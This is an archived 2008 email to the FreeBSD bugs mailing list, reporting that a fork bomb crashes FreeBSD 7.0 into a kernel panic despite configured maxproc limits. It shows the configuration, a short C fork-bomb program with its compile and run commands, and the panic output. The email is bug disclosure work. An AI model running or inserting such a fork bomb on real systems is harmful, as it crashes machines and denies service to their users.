From owner-freebsd-bugs@FreeBSD.ORG Thu Dec 11 08:00:05 2008 Return-Path: Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 207F61065670 for ; Thu, 11 Dec 2008 08:00:05 +0000 (UTC) (envelope-from javanunes@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.229]) by mx1.freebsd.org (Postfix) with ESMTP id E0C648FC19 for ; Thu, 11 Dec 2008 08:00:04 +0000 (UTC) (envelope-from javanunes@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so752433rvf.43 for ; Thu, 11 Dec 2008 00:00:04 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:reply-to :to:subject:mime-version:content-type; bh=/Dywmedm4VS+LMEHMe3YMa4g7hLnosNH/7F5GaAKhio=; b=HARgvcS7A8wpGQoO2jlCl+hAZbqA1iG8KhZZbuLXU2XGCnwbhF5LmQCkeZhQdO0z5p UnOgeu1rJvwcClf970i0UlWyhn02NXpkg2L0MWXfQ4Kft0NMfEK2OE5fGR1KJs1GzKP/ 0WOwwlM+hIBKW1BzbvoWR0cdXS1UrmQZytN1A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:reply-to:to:subject:mime-version:content-type; b=IIpChAnQTClheDe+eg1qs32H3qkMzb8ZPO5+dYrKOYQamjRfX/AKHrbwCkoEZwbThQ 1KJuw1ms0UMToUrw2UH8Xrl6e0q+FsigvQaA2zFFziOXhI9PvbvK3bN99jg9fd41ZI3v R/wclU8UCFfk9tHP52oUriV7LglcivQgYOGzQ= Received: by 10.142.210.4 with SMTP id i4mr629798wfg.145.1228980428731; Wed, 10 Dec 2008 23:27:08 -0800 (PST) Received: by 10.142.173.20 with HTTP; Wed, 10 Dec 2008 23:27:08 -0800 (PST) Message-ID: <425f5fc40812102327x54e0d0ecmeb7efe13baca0ddc@mail.gmail.com> Date: Thu, 11 Dec 2008 05:27:08 -0200 From: "Java Nunes" To: freebsd-bugs@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: fork bomb no respects limits in freebsd 7.0 (semeador da discordia) X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: javanunes@eminem.com List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Dec 2008 08:00:05 -0000 Hi, #>cat /boot/loader.conf kern.maxfiles="3000" kern.maxproc="666" <<<<<<<<<--------- root@bbb9 #>limits Resource limits (current): cputime infinity secs filesize 5242880 kB datasize 5242880 kB stacksize 524288 kB coredumpsize 1022976 kB memoryuse 1024000 kB memorylocked 683008 kB maxprocesses 599 <<<<<<<<<<- openfiles 677 sbsize infinity bytes vmemoryuse 693248 kB in /etc/login.conf :nologin=/var/run/nologin:\ :cputime=unlimited:\ :datasize=5G:\ :stacksize=667M:\ :memorylocked=667M:\ :memoryuse=1000M:\ :filesize=5G:\ :coredumpsize=999M:\ :openfiles=677:\ :maxproc=666:\ <<<<<<<<<<- :sbsize=unlimited:\ :vmemoryuse=677M:\ :priority=0:\ :idletime=2m\ :ignoretime@:\ :umask=022: su - bozo vi bomb.c #include int main(int argc, char* argv[]) { while(1) fork(); return 0; } ~ gcc bomb.c -o bomb ~./bomb and my freebsd box shutdown with this error: maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). panic: get_pv_entry : increase vm.pmap.shgperproc cpuid =0 uptime 19m physical memory: 1024MB Dumping 923 blah blah blha! Automatic reboot in 15 secounds = press blah blha blha lol! fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ? limit it does not function in bsd? :0